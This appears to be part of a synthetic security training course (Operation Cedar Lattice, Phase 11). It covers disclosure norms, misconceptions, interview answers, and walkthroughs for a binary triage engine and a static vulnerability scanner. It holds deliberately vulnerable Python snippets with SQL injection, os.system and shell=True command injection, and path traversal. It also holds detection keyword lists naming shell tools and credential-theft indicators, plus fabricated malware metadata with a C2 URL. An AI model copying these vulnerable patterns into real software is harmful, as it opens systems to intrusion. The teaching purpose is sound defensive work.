9.4 Red Team Engagement Context
In a red team engagement against Meridian Freight, vulnerability findings are delivered differently from standard CVD:
- Engagement findings are delivered to the client (Meridian Freight) in the final report, not to a vendor. The client IS the vendor in this context.
- Timeline is negotiated in the rules of engagement, not imposed unilaterally.
- Third-party vulnerabilities (e.g., a CVE in the Django version Meridian runs) are out of scope for CVD — Meridian reports those through the standard CVD process with the Django project, and the red team notes the version exposure in the engagement report.
- Novel 0-days discovered in third-party software during the engagement should be disclosed to the vendor per CVD norms, with notification to the client.
9.5 Safe Harbor and Legal Protection
Responsible disclosure does not provide universal legal protection. Depending on jurisdiction:
- US: Computer Fraud and Abuse Act (CFAA) creates legal risk for unauthorized access even for research purposes. A vendor's bug bounty policy or CVD policy establishes "safe harbor" — an agreement not to pursue legal action for good-faith security research.
- EU: Directive on attacks against information systems (2013/40/EU). Member state implementations vary.
- Always conduct security research with explicit written authorization (scope, rules of engagement). For engagement findings, this is the statement of work.
Chapter 10: Misconceptions
Misconception 1: "High entropy always means packed malware"
False. High entropy in a PE section means the bytes are statistically uniform. This is true of compressed data, encrypted data, cryptographic key material, and pseudo-random data — not only packed malware. A PDF viewer with embedded font compression, a game with compressed texture assets, and a packed Trojan all show high entropy. The packing heuristic requires high entropy PLUS low import count as a combined signal.
Misconception 2: "os.path.join() prevents path traversal"
False. os.path.join() constructs a path by joining components. It does NOT resolve
or validate the result. os.path.join("/base", "../etc/passwd") returns "/base/../etc/passwd".
After os.path.normpath(), this becomes "/etc/passwd". Prevention requires
os.path.realpath() (which resolves symlinks and relative components) followed by a
prefix check.
Misconception 3: "Parameterized queries prevent all SQL injection"
Mostly true, with one exception. Parameterized queries (prepared statements) prevent
injection in query parameters. However, dynamic table names and column names CANNOT be
parameterized — SQL syntax does not allow a parameter placeholder where a table name or
column name appears. If you must use user-supplied table or column names, you must use
an explicit allow-list: if table_name not in ALLOWED_TABLES: raise ValueError.
Misconception 4: "CVSS score = risk"
False. CVSS Base Score measures intrinsic severity without context. A 9.8 CVSS vulnerability in a process that is not network-accessible, runs in a sandboxed container, and handles only synthetic test data presents minimal real-world risk. A 5.5 CVSS vulnerability in the internet-facing authentication endpoint of a bank may present catastrophic risk. CVSS is an input to risk assessment, not the output.
Misconception 5: "Decompiled code is source code"
False. Decompilers reconstruct pseudo-code from compiled binaries. The output approximates what the original source might have looked like, but:
- Variable names are generated (often
local_10,param_1) - Compiler optimizations may have merged, inlined, or eliminated code
- Data structures may be inferred incorrectly
- Template instantiations may not be distinguishable from regular functions
- The decompiler may misidentify function boundaries
Use decompiled output as a starting point, not a final answer. Cross-reference with dynamic analysis to verify behavioral hypotheses.
Misconception 6: "Responsible disclosure means waiting forever for the vendor"
False. Standard coordinated disclosure includes a fixed deadline (typically 90 days) after which the researcher publishes regardless of vendor fix status. Indefinite waiting without publication harms users who remain exposed and removes vendor incentive for timely patches. The 90-day standard exists specifically to balance vendor fix time against user protection.
Chapter 11: Lab Walkthroughs
11.1 Lab 01 — Binary Triage Engine
What the lab tests: You are implementing a binary triage pipeline that takes a Python
dict (synthetic binary metadata) and produces a structured report. The four functions
implement progressively more complex analysis, with triage_report() as the integrating
function.
high_entropy_sections(metadata)
Iterate metadata["sections"]. For each section dict, compare section["entropy"] to
the threshold 7.0 using a strictly-greater-than comparison. Return the name field of
qualifying sections. This is a straightforward filter operation.
def high_entropy_sections(metadata):
sections = metadata.get("sections", [])
return [s["name"] for s in sections if s.get("entropy", 0.0) > 7.0]
Key detail: the comparison is > 7.0, not >= 7.0. A section with entropy exactly 7.0
is NOT flagged. Test T3 (test_high_entropy_sections_boundary_exactly_7_not_included)
specifically catches off-by-one errors here.
packer_detected(metadata)
Three rules in priority order:
-
Any section entropy
> 7.0ANDlen(imports) <= 3: return"likely_packed". Note: the import count condition applies to the total number of import records, not distinct DLLs. -
Section names include
.UPX0or.UPX1: return"UPX". Note: rule 1 takes priority. If a binary has UPX sections AND few imports AND high entropy, rule 1 fires first and returns"likely_packed", not"UPX". The testtest_packer_detected_upx_by_section_nameuses a fixture with 5 imports to ensure rule 1 fails and rule 2 fires. -
Section names include
"themida"or".themida": return"Themida". -
None: return
False(the boolean value, not the string"False").
suspicious_strings(strings_list)
Five categories in priority order (first match wins):
url:s.startswith("http://") or s.startswith("https://")ip_address: match against a simple IPv4 regex^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$shell_command:"cmd.exe" in s.lower() or "powershell" in s.lower()base64_like:len(s) >= 20andre.match(r'^[A-Za-z0-9+/=]+$', s)high_entropy_str:len(s) >= 16and" " not in sand NOT all hex chars
Sort by severity: HIGH (_SEVERITY_ORDER = 0), MEDIUM (1), LOW (2). Within each
severity, sort alphabetically by the string value.
triage_report(metadata)
Call the three helper functions, then apply classification logic. The critical path:
import_functions = {imp["function"] for imp in metadata.get("imports", [])}- Injector:
"NtAllocateVirtualMemory" in import_functionsAND ("NtWriteVirtualMemory"OR"WriteProcessMemory"in import_functions) - Loader:
"ReflectiveLoader" in exportsORpacker_detected()is truthy - Credential stealer: any of
"lsass","sam","ntlm"appears as a substring in any string (case-insensitive comparison). Checks.lower()for each string against each indicator. - Dropper: URL in strings AND packer is truthy
- Unknown: none of the above
11.2 Lab 02 — Source Code Vulnerability Scanner
What the lab tests: You are implementing a line-by-line static pattern scanner over Python source code strings.
sql_injection_patterns(code)
Split on newlines, iterate with enumerate(lines, start=1). For each line:
- Check if any SQL keyword appears (use
re.search(r'\b(SELECT|INSERT|UPDATE|DELETE|WHERE)\b', line, re.IGNORECASE)) - If yes, check if any interpolation marker appears (
" + "," % ",".format(","{") - If both: append
{line_hint: line_number, pattern_type: "sql_string_concat", severity: "CRITICAL"}
Edge case: a line with { but no SQL keyword is not flagged. A line with a SQL keyword
but using parameterized ? placeholders is not flagged (no +, %, .format, or {).
command_injection_patterns(code)
Three independent checks per line:
"os.system("in line"shell=True"in line ANDnot line.strip().startswith("#")(comment exclusion)"eval("in line
A single line can produce multiple findings if it triggers multiple conditions
(e.g., a line with both os.system( and eval( produces two records).
path_traversal_patterns(code)
Two conditions:
"open("in line AND ("+"in line OR".format("in line OR"{"in line)"os.path.join("in line AND any of("request", "input", "param", "args")appears in line
scan_snippet(snippet)
Combine all three scanner outputs, then add CWE fields:
_CWE_MAP = {
"sql_string_concat": {"cwe": 89, "name": "SQL Injection"},
"os_system": {"cwe": 78, "name": "Command Injection"},
"subprocess_shell_true": {"cwe": 78, "name": "Command Injection"},
"eval_call": {"cwe": 78, "name": "Command Injection"},
"open_string_concat": {"cwe": 22, "name": "Path Traversal"},
"path_join_user_input": {"cwe": 22, "name": "Path Traversal"},
}
Then call severity_rank() on the enriched list.
severity_rank(findings)
Sort key: (_SEVERITY_ORDER[severity], line_hint). Use a dict like
{"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3} and .get(severity, 99) for
unknown values.
Chapter 12: Interview Q&A
Q1: What does Shannon entropy tell you about a binary section, and what is the threshold for suspicion?
Answer:
Shannon entropy measures the statistical unpredictability of the byte distribution in a
data region. The formula is H = -sum(p_i * log2(p_i)) where p_i is the probability
of byte value i across all 256 possible values. The output ranges from 0.0 (all bytes
identical — zero information content) to 8.0 (all byte values equally probable — maximum
information density).
For binary sections, the threshold for suspicion is H > 7.0 bits/byte. Normal executable
code (x86 instruction encodings) has entropy in the range 5.0–6.5 because instruction
opcodes have non-uniform but also non-random distributions. Sections with entropy above
7.0 contain data that has been either compressed (removing structural patterns, raising
entropy) or encrypted (introducing pseudo-random byte values). Both are characteristic
of packed or obfuscated malware.
You combine entropy with import count to reduce false positives: a packed binary has both
high section entropy AND a minimal import table (usually just LoadLibraryA and
GetProcAddress for the unpacking stub). Legitimate binaries with compressed embedded
resources may have a high-entropy .rsrc section but a full, rich import table.
Q2: Explain the difference between the System V AMD64 ABI and the Microsoft x64 ABI. Why does this matter for binary analysis?
Answer:
Both ABIs define how x86-64 function calls work, but they differ in two critical ways:
Argument registers: System V (Linux/macOS) uses RDI, RSI, RDX, RCX, R8, R9 for the first six integer/pointer arguments. Microsoft x64 (Windows) uses RCX, RDX, R8, R9 for the first four. Arguments beyond that limit go on the stack in both ABIs.
Shadow space: Microsoft x64 requires the caller to allocate 32 bytes of "home space" on the stack before every call, even if fewer than four arguments are passed. System V has no equivalent requirement — it has the "red zone" (128 bytes below RSP usable by leaf functions without adjusting RSP), which serves a different purpose.
RDI and RSI: In System V, these are caller-saved argument registers. In Microsoft x64, they are callee-saved non-volatile registers. This means Windows functions must preserve RDI and RSI across the call if they use them.
For binary analysis, this matters because decompilers and disassemblers must be configured for the correct ABI to correctly attribute register values to function arguments. Analyzing a Windows PE binary using System V assumptions will produce incorrect decompiler output — the wrong registers will be interpreted as function arguments, leading to incorrect data flow analysis and wasted analysis effort.
Q3: What does a minimal import table (two imports: LoadLibraryA, GetProcAddress) tell you, and what additional signals confirm your hypothesis?
Answer:
A minimal import table consisting of only LoadLibraryA and GetProcAddress is the
canonical signature of a packed or shellcode-loading binary. These two functions form a
universal API resolution primitive: given any DLL name and function name, LoadLibraryA
loads the DLL into the process and GetProcAddress returns the function's address. The
binary's runtime stub uses this pair to reconstruct its real import table after unpacking.
This pattern is strong but not conclusive. Additional signals that confirm the packing hypothesis:
- Section entropy above 7.0 bits/byte in one or more code or data sections
- UPX section names (
.UPX0,.UPX1) or other packer-specific section names - Zeroed PE timestamp (opsec measure common in professional threat actors)
- Absent PDB path (no developer artifact)
- Absent or empty export table
Confirmation via dynamic analysis: load the binary in a sandbox (Cuckoo, Any.run) or
a controlled VM and observe the GetProcAddress call sequence. API monitor will log
every function resolution, revealing the real import set that the static analysis hid.
Q4: How do you distinguish SQL injection from safe parameterized queries in source code without executing the code?
Answer:
The key indicator is the method by which user-supplied data enters the SQL query string. There are two fundamentally different patterns:
Unsafe (injection vulnerable): The query string is constructed by concatenating or interpolating user data into a string literal. The database driver receives a complete SQL string where the user data is already incorporated and syntactically indistinguishable from the SQL structure.
Patterns to detect:
"SELECT ... WHERE x = " + user_input(string concatenation with+)"SELECT ... WHERE x = '%s'" % user_input(%-formatting)f"SELECT ... WHERE x = '{user_input}'"(f-string interpolation)"SELECT ... WHERE x = {}".format(user_input)(.format()method)
Safe (parameterized): The query string contains a placeholder (typically ? for
SQLite, %s for psycopg2/MySQL, @param for some ORMs). The user data is passed
separately as a parameter tuple. The database driver sends query and parameters separately;
the database engine substitutes them after parsing, making injection impossible.
Pattern: conn.execute("SELECT ... WHERE x = ?", (user_input,))
A static scanner looks for lines containing SQL keywords AND interpolation markers.
Lines with SQL keywords but only ? placeholders (and no interpolation) are safe.
This heuristic has false positives (legitimate use of { in SQL like {schema_name}
in certain ORM patterns) — a human reviewer must evaluate scanner hits.
Q5: What is CVSS Scope, and when would a web application vulnerability have Scope: Changed?
Answer:
Scope in CVSS v3.1 captures whether successful exploitation can impact components beyond the vulnerable component itself. Scope has two values:
U(Unchanged): The vulnerability and its impact are confined to the vulnerable component. Exploiting a SQL injection vulnerability extracts data from the database — the impact is within the database/application boundary.C(Changed): Exploitation can reach and impact a different security scope. The attacker can pivot from the exploited component to a separate, distinct component with its own security context.
For web application vulnerabilities, Scope: Changed applies to:
-
Server-Side Request Forgery (SSRF): The web application's server-side code is exploited to make requests to internal services (metadata API at
169.254.169.254, internal databases, internal admin interfaces). The vulnerable component is the web application; the impacted component is the internal network or cloud metadata service. -
Stored Cross-Site Scripting (XSS): The vulnerability is in the web application server; the impact is in the victim user's browser (a different security context — the user's session, stored credentials, etc.). Stored XSS typically scores
S:C. -
Container escape vulnerabilities: A vulnerability in a containerized web application that allows escape to the host OS. The vulnerable component is the container; the impacted component is the host OS with a different security principal.
Most conventional SQL injection, command injection, and path traversal findings score
S:U because the impact stays within the application's security domain.
Q6: Describe the responsible disclosure timeline for a critical vulnerability you discover in Meridian Freight's custom application during a red team engagement. How does this differ from standard CVD?
Answer:
In a red team engagement, the disclosure workflow differs from standard CVD in a fundamental way: Meridian Freight is both the target and the client. There is no third-party vendor to notify. The disclosure workflow is governed by the rules of engagement (ROE) established before the engagement began.
Engagement disclosure workflow:
-
During the engagement: Document the finding with full reproduction steps, CVSS score, and impact assessment. Do not remediate during the engagement unless the ROE specifically authorizes it — remediation changes the target state.
-
End-of-engagement debrief: Present critical findings to the CISO and security team in an immediate debrief meeting, before the final report. Critical findings (CVSS >= 9.0) should be communicated verbally as soon as discovered if they represent active risk.
-
Final report: Deliver the complete findings report with prioritized remediation roadmap within the timeframe specified in the SOW (typically 5–10 business days after engagement end).
How this differs from CVD:
- No 90-day deadline: The client has already paid for the disclosure; there is no adversarial dynamic that the 90-day standard is designed to address.
- No publication: Engagement findings are delivered under NDA. They are not published.
- Immediate access: The client has the right to immediate notification regardless of remediation status.
Exception — third-party software: If the engagement discovers a 0-day in a third-party component (a vulnerability in the version of Django, PostgreSQL, or Nginx that Meridian runs that has no existing CVE), the red team firm has an ethical obligation to initiate CVD with the third-party vendor, with the client's knowledge.
Q7: What is the difference between a loader and a dropper in malware classification, and how do you distinguish them from the import table and string artifacts?
Answer:
A loader and a dropper both deliver and execute a secondary payload, but they differ in where the secondary payload comes from:
Loader: The secondary payload is embedded within the loader binary (in a high-entropy section, in an encrypted resource, or appended to the binary). The loader extracts and executes the payload from its own content. It requires no network access to function.
Import table indicators: VirtualAlloc, VirtualProtect (to create executable memory
for the payload), LoadLibraryA + GetProcAddress (for reflective loading), CreateThread
or NtCreateThreadEx (to execute the payload). The reflective DLL injection technique
adds ReflectiveLoader to the export table.
String artifacts: No HTTP URLs. Potentially section names indicative of packing. No C2 domain or IP strings.
Dropper: The secondary payload is downloaded from a remote C2 server at runtime. The dropper binary does not contain the payload itself.
Import table indicators: WinInet or WinHTTP API family (InternetOpenA, InternetOpenUrlA,
HttpSendRequestA, InternetReadFile, or WinHttpOpen + friends). Also WinExec,
CreateProcess, or ShellExecuteA for executing the downloaded payload.
String artifacts: HTTP or HTTPS URLs (C2 endpoints), domain names, user-agent strings, sometimes encoded or decrypted at runtime.
In ambiguous cases: A sample may combine both — embedding a small dropper stub that downloads a larger second-stage loader. Dynamic analysis in a sandbox reveals the download behavior and second-stage execution.
Q8: Walk through the CVSS scoring of a command injection vulnerability found in Meridian Freight's internal admin panel that requires an authenticated admin session to reach.
Answer:
Scenario: The admin panel of the Meridian Freight logistics system has a diagnostic
endpoint that accepts a hostname parameter and executes ping -c 4 <hostname> using
os.system(). The endpoint is on the internal network only (not internet-facing). It
requires an authenticated admin session (high-privilege user).
Scoring:
| Metric | Value | Rationale |
|---|---|---|
| AV | A | Adjacent network — requires access to the internal admin network segment |
| AC | L | No special conditions; single parameter injection |
| PR | H | Admin-level authentication required |
| UI | N | No user interaction needed once authenticated |
| S | C | Command injection on the server enables execution on the underlying OS — different security scope from the web application component |
| C | H | Full read access to server filesystem, environment variables, secrets |
| I | H | Arbitrary file write, data modification |
| A | H | Can kill processes, fill disk, crash server |
CVSS vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Base Score: 8.0 — High.
Key scoring decisions:
AV:AnotAV:Nbecause the admin panel is not internet-facing (internal network only)PR:HnotPR:Lbecause the endpoint requires admin-level credentialsS:Cbecause command injection breaks out of the web application security scope into the host OS — a fundamentally different security principal- All three impact metrics are High because arbitrary command execution on the host OS means total compromise of that system
This is still a High-severity finding despite requiring admin access, because admin credentials are commonly obtained via phishing (Phase 10), credential stuffing, or privilege escalation from a lower-privileged account.
References
-
Shannon, C. E. (1948). "A Mathematical Theory of Communication." Bell System Technical Journal, 27(3), 379–423. — Original entropy paper.
-
Microsoft. "x64 Calling Conventions." Microsoft Learn. https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention
-
System V Application Binary Interface AMD64 Architecture Processor Supplement. https://refspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf
-
FIRST. "Common Vulnerability Scoring System v3.1: Specification Document." https://www.first.org/cvss/v3.1/specification-document
-
MITRE. "Common Weakness Enumeration (CWE)." https://cwe.mitre.org/
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-502: Deserialization of Untrusted Data
- CWE-120: Buffer Copy without Checking Size of Input
-
MITRE ATT&CK. "T1027.002 — Obfuscated Files or Information: Software Packing." https://attack.mitre.org/techniques/T1027/002/
-
Google Project Zero. "Disclosure Policy." https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html
-
ISO/IEC 29147:2018. "Information technology — Security techniques — Vulnerability disclosure." Geneva: International Organization for Standardization.
-
UPX — the Ultimate Packer for eXecutables. https://upx.github.io/
-
OWASP. "SQL Injection Prevention Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
-
OWASP. "Path Traversal." https://owasp.org/www-community/attacks/Path_Traversal
-
Mandiant. "M-Trends 2023." https://www.mandiant.com/m-trends
-
NSA / CISA. "Top Cybersecurity Misconfigurations." Advisory AA23-278A, 2023.
-
Ghidra — Software Reverse Engineering Framework. https://ghidra-sre.org/ — NSA-released free decompiler and disassembler.
-
RFC 9116. "A File Format to Aid in Security Vulnerability Disclosure." https://www.rfc-editor.org/rfc/rfc9116
Hitchhiker's Guide — Cedar Lattice Phase 11: RE & Vuln Discovery Range
Operation Cedar Lattice. This guide walks through the fictional engagement environment for Phase 11. Meridian Freight International is the target. FIN-LATTICE is the emulated actor. Everything in this document is synthetic: binary metadata, source code snippets, IP addresses, domain names, and personnel are fabricated for educational use. No real malware is analyzed here. No real infrastructure is involved.
The Cedar Lattice Range Setup
Isolated Analysis Environment
Phase 11 RE work requires an isolated malware analysis environment. The range configuration:
| Component | Description |
|---|---|
| Analysis VM | Ubuntu 22.04 LTS, 8 GB RAM, no internet access |
| Snapshot | Fresh snapshot taken before each sample — revert after analysis |
| Network | Host-only adapter only — no bridge to host LAN, no internet routing |
| Shared folder | Disabled — samples transferred via encrypted archive to prevent accidental execution |
| Tools | Python 3.11, Ghidra 10.3, pefile, python-magic, Detect-It-Easy |
Why no internet? Binary samples may contain live C2 beacons. If executed or even partially parsed by a misconfigured tool on a networked host, the sample may attempt to phone home. Isolation prevents attribution of the analysis environment to FIN-LATTICE's C2 infrastructure.
The FIN-LATTICE Sample Set
Three synthetic samples are documented in this guide. Each has a corresponding metadata dict you can feed directly to the Lab 01 triage engine.
Sample 1: mfi_updater_v3.exe — Primary Cedar Lattice Artifact
This is the artifact documented in the Phase 11 README. It was found on Meridian Freight's internal update server during a file server enumeration. Filename and path:
\\MFIFILESERV01\IT_Tools\Updates\mfi_updater_v3.exe
Synthetic Metadata Dict
MFI_UPDATER_V3 = {
"file_type": "PE32+",
"architecture": "x86_64",
"sections": [
{"name": ".text", "entropy": 7.92, "size": 65536},
{"name": ".rsrc", "entropy": 5.10, "size": 16384},
],
"imports": [
{"dll": "kernel32.dll", "function": "LoadLibraryA"},
{"dll": "kernel32.dll", "function": "GetProcAddress"},
],
"exports": [],
"strings": [
"http://198.51.100.45/update",
"cmd.exe /c whoami",
"198.51.100.45",
],
"pdb_path": None,
"timestamp": 0,
"imphash": None,
"opsec_flags": ["timestamp_zeroed", "no_pdb", "minimal_imports"],
}
Running the Triage Engine
from solution import triage_report
report = triage_report(MFI_UPDATER_V3)
Expected Output and Interpretation
{
"file_type": "PE32+",
"architecture": "x86_64",
"packer": "likely_packed", # entropy > 7.0, import count <= 3
"high_entropy_sections": [".text"], # 7.92 > 7.0 threshold
"suspicious_strings": [
{"string": "http://198.51.100.45/update", "category": "url", "severity": "HIGH"},
{"string": "cmd.exe /c whoami", "category": "shell_command", "severity": "HIGH"},
{"string": "198.51.100.45", "category": "ip_address", "severity": "HIGH"},
],
"imphash": None,
"pdb_path": None,
"classification": "loader", # packer is truthy -> loader rule fires
"opsec_flags": ["timestamp_zeroed", "no_pdb", "minimal_imports"],
}
Interpretation for the Cedar Lattice report:
The .text section at 7.92 bits/byte is highly compressed or encrypted. Two imports only
means the unpacking stub is all that is statically visible. The classification is "loader":
packing is confirmed and the binary will reconstruct its real functionality at runtime.
The three suspicious strings in the unencrypted .rsrc section reveal operational intent:
a C2 URL (198.51.100.45) and a reconnaissance command (whoami). The zeroed timestamp
and missing PDB path are deliberate opsec measures consistent with professional threat
actor tooling.
Detection rule derivation:
This finding translates directly to detection rules:
# YARA-style detection concept (not functional — illustrative only)
rule FIN_LATTICE_LOADER {
meta:
description = "High-entropy PE with minimal imports and C2 URL strings"
condition:
pe_section_entropy > 7.0
and pe_import_count <= 3
and any_string matches /http:\/\/198\.51\.100\.\d+\//
}
A SIEM detection rule might alert on: endpoint process creation for mfi_updater_v3.exe
OR DNS resolution for 198.51.100.45 from any Meridian Freight endpoint.
Sample 2: mfi_reflective_dll.dll — In-Memory Loader
Found injected into svchost.exe by the endpoint EDR memory scanner. This sample was
never written to disk as a standalone file. It was recovered via process memory dump.
Synthetic Metadata Dict
MFI_REFLECTIVE_DLL = {
"file_type": "DLL",
"architecture": "x86_64",
"sections": [
{"name": ".text", "entropy": 6.45, "size": 32768},
{"name": ".rdata", "entropy": 4.20, "size": 8192},
{"name": ".data", "entropy": 3.80, "size": 4096},
],
"imports": [
{"dll": "kernel32.dll", "function": "LoadLibraryA"},
{"dll": "kernel32.dll", "function": "GetProcAddress"},
{"dll": "kernel32.dll", "function": "VirtualAlloc"},
],
"exports": ["ReflectiveLoader", "DllMain"],
"strings": [
"ReflectiveDLLInjection",
"NtCreateThreadEx",
"svchost",
],
"pdb_path": None,
"timestamp": 0,
"imphash": None,
"opsec_flags": ["timestamp_zeroed", "no_pdb", "in_memory_only"],
}
Expected Triage Output
{
"file_type": "DLL",
"architecture": "x86_64",
"packer": False, # entropy 6.45 is not > 7.0 for any section
"high_entropy_sections": [], # no sections above threshold
"suspicious_strings": [
{"string": "NtCreateThreadEx", "category": "high_entropy_str", "severity": "LOW"},
{"string": "ReflectiveDLLInjection", "category": "high_entropy_str", "severity": "LOW"},
{"string": "svchost", ...}, # too short for high_entropy_str
],
"imphash": None,
"pdb_path": None,
"classification": "loader", # "ReflectiveLoader" in exports -> loader rule
"opsec_flags": ["timestamp_zeroed", "no_pdb", "in_memory_only"],
}
Interpretation:
The ReflectiveLoader export is the defining signal. Reflective DLL injection is
Stephen Fewer's technique (2008, widely published): the DLL contains a custom loader
function exported as ReflectiveLoader that can map the DLL into memory without the
Windows loader's involvement, enabling the DLL to run without ever touching the filesystem.
The classification "loader" is correct: the ReflectiveLoader export fires the loader
rule before the injector rule is considered. (The injector rule requires both
NtAllocateVirtualMemory AND a write primitive — the string "NtCreateThreadEx" in the
string list does not count as an import.)
Detection:
Memory-resident DLLs with ReflectiveLoader exports are detectable via:
- EDR memory scanning for reflective loader signatures
- API call monitoring:
VirtualAllocof RWX memory followed by execution - Behavioral: unsigned DLL mapped without corresponding file on disk
Sample 3: mfi_inject.exe — Process Injector
Found as a scheduled task artifact: C:\Windows\System32\Tasks\MFIHealthCheck.
The task called a binary at a suspicious path with system-level privileges.
Synthetic Metadata Dict
MFI_INJECTOR = {
"file_type": "PE32+",
"architecture": "x86_64",
"sections": [
{"name": ".text", "entropy": 6.10, "size": 24576},
{"name": ".data", "entropy": 4.50, "size": 4096},
],
"imports": [
{"dll": "ntdll.dll", "function": "NtAllocateVirtualMemory"},
{"dll": "ntdll.dll", "function": "NtWriteVirtualMemory"},
{"dll": "ntdll.dll", "function": "NtCreateThreadEx"},
{"dll": "kernel32.dll", "function": "OpenProcess"},
{"dll": "kernel32.dll", "function": "GetCurrentProcessId"},
],
"exports": [],
"strings": [
"injecting into target",
"OpenProcess failed",
"NtAllocateVirtualMemory failed",
],
"pdb_path": None,
"timestamp": 0,
"imphash": "3a5f9c2d11e4b7a8",
"opsec_flags": ["timestamp_zeroed", "no_pdb"],
}
Expected Triage Output
{
"file_type": "PE32+",
"architecture": "x86_64",
"packer": False, # entropy 6.10 is not > 7.0; 5 imports > 3
"high_entropy_sections": [],
"suspicious_strings": [
# All three strings are >= 16 chars, no spaces (false: "injecting into target" has spaces)
# "OpenProcess failed" — has spaces -> not high_entropy_str
# "NtAllocateVirtualMemory failed" — has spaces -> not high_entropy_str
# "injecting into target" — has spaces -> not high_entropy_str
],
"imphash": "3a5f9c2d11e4b7a8",
"pdb_path": None,
"classification": "injector", # NtAllocateVirtualMemory + NtWriteVirtualMemory
"opsec_flags": ["timestamp_zeroed", "no_pdb"],
}
Interpretation:
The NtAllocateVirtualMemory + NtWriteVirtualMemory combination fires the injector
classification immediately. These are NT native API calls that bypass the Win32 API
layer — the standard hooks that EDRs and AV products instrument. Using the NT layer
directly is a deliberate evasion technique. The presence of NtCreateThreadEx (also
a native API) confirms the execution mechanism.
Detection:
- EDR behavioral detection:
OpenProcesson sensitive targets (lsass.exe, explorer.exe) followed byVirtualAllocEx/WriteProcessMemoryor their native NT equivalents - Kernel callback monitoring:
PsSetCreateProcessNotifyRoutineallows drivers to observe process handle creation; commercial EDRs use this - SIEM alert: scheduled task creation pointing to unsigned binary at non-standard path
Lab 02: Scanning Meridian Freight's Source Code
The red team accessed Meridian Freight's source repository via a misconfigured Gitea
instance exposed on dev.meridianfreight.com without authentication. Three modules from
the logistics backend are flagged for review.
Snippet 1: Shipment Tracking Query Module
SHIPMENT_SNIPPET = {
"language": "python",
"code": '''\
import sqlite3
def get_shipment_by_id(conn, shipment_id):
query = "SELECT id, origin, dest, status FROM shipments WHERE id = " + shipment_id
return conn.execute(query).fetchone()
def search_shipments(conn, carrier, status):
q = f"SELECT * FROM shipments WHERE carrier = '{carrier}' AND status = '{status}'"
return conn.execute(q).fetchall()
''',
"context": "Meridian Freight logistics backend — shipment query module",
}
Running scan_snippet(SHIPMENT_SNIPPET) produces:
Line 4: sql_string_concat / CRITICAL / CWE-89 SQL Injection
Line 8: sql_string_concat / CRITICAL / CWE-89 SQL Injection
Remediation: Replace with parameterized queries:
conn.execute("SELECT ... WHERE id = ?", (shipment_id,))
Detection / monitoring: Web Application Firewall rules for SQL metacharacters in
the shipment_id parameter. Structured query logging to detect anomalously long or
syntactically unusual query strings in the database audit log.
Snippet 2: Fleet Diagnostic Endpoint
FLEET_SNIPPET = {
"language": "python",
"code": '''\
import os
import subprocess
def ping_fleet_vehicle(vehicle_ip):
# Verify vehicle is reachable
result = os.system("ping -c 2 " + vehicle_ip)
return result == 0
def restart_vehicle_agent(vehicle_ip, agent_name):
cmd = f"ssh fleet-admin@{vehicle_ip} systemctl restart {agent_name}"
subprocess.run(cmd, shell=True)
''',
"context": "Meridian Freight fleet management — diagnostic endpoint",
}
Running scan_snippet(FLEET_SNIPPET) produces:
Line 5: os_system / HIGH / CWE-78 Command Injection
Line 10: subprocess_shell_true / HIGH / CWE-78 Command Injection
Remediation: Use list-form subprocess calls with explicitly controlled arguments.
Validate vehicle_ip against an allow-list of registered fleet vehicle IPs before use.
Snippet 3: Document Storage Service
DOC_SNIPPET = {
"language": "python",
"code": '''\
import os
DOCS_ROOT = "/var/app/freight-docs"
def serve_document(request):
doc_name = request.args.get("doc")
filepath = os.path.join(DOCS_ROOT, doc_name)
with open(filepath, "rb") as f:
return f.read()
def get_driver_manifest(args):
driver_id = args["driver_id"]
manifest_path = os.path.join("/etc/fleet/manifests", driver_id)
with open(manifest_path) as f:
return f.read()
''',
"context": "Meridian Freight document storage — file serving module",
}
Running scan_snippet(DOC_SNIPPET) produces:
Line 12: path_join_user_input / MEDIUM / CWE-22 Path Traversal
Note: Line 7 (os.path.join(DOCS_ROOT, doc_name)) also uses os.path.join with a
variable (doc_name) but the scanner checks for explicit user-input keywords
(request, input, param, args). Line 7 reads from request.args.get() but the
join itself does not contain those keywords on the same line. Line 12 is flagged because
args appears on the same line as os.path.join(. A human reviewer would flag line 7
as well — the scanner is a starting point, not a substitute for manual review.
Remediation: Apply os.path.realpath() and prefix validation after os.path.join().
Cedar Lattice Finding-to-Detection Mapping
Every RE finding in this phase connects to a concrete detection opportunity:
| Finding | RE Signal | Detection Method |
|---|---|---|
mfi_updater_v3.exe classified as loader | High entropy + minimal imports | YARA rule on PE section entropy; EDR process creation alert |
C2 URL 198.51.100.45/update in strings | Suspicious string extraction | DNS/firewall block for IOC IP; SIEM alert on HTTP connection to IP |
cmd.exe /c whoami string | Shell command indicator | Endpoint behavior monitoring for whoami execution |
mfi_reflective_dll.dll with ReflectiveLoader | Export table analysis | EDR memory scan for reflective loader signature |
mfi_inject.exe with NT injection imports | Import table analysis | EDR behavioral detection for cross-process memory write |
| SQL injection in shipment query | CRITICAL source code finding | WAF rule; query parameterization in code fix |
| Command injection in fleet diagnostic | HIGH source code finding | Input validation; restrict fleet admin endpoint to internal IP range |
| Path traversal in document service | MEDIUM source code finding | realpath() + prefix check in code fix; WAF path traversal rule |
Phase 11 Lab Quick Reference
# Set up environment
cd phase-11-reverse-engineering-vuln-discovery
# Lab 01 — Binary Triage Engine
cd lab-01-binary-triage-engine
pip install -r requirements.txt
# Develop your solution
# Edit lab.py
# Test stubs (all should fail with NotImplementedError)
pytest -q
# Test reference solution (all 19 should pass)
LAB_MODULE=solution pytest -q
# Lab 02 — Source Code Vulnerability Scanner
cd ../lab-02-source-code-vuln-scanner
pip install -r requirements.txt
# Test reference solution (all 13 should pass)
LAB_MODULE=solution pytest -q
Lab 01 — Binary Triage Engine
Operation Cedar Lattice, Phase 11.
A captured binary arrived from the Meridian Freight International environment. FIN-LATTICE is suspected. Before you invest hours in a full decompilation session, you run triage: compute section entropy, identify packing, classify suspicious strings, and produce a structured report that the rest of the team can act on. This lab implements that triage pipeline.
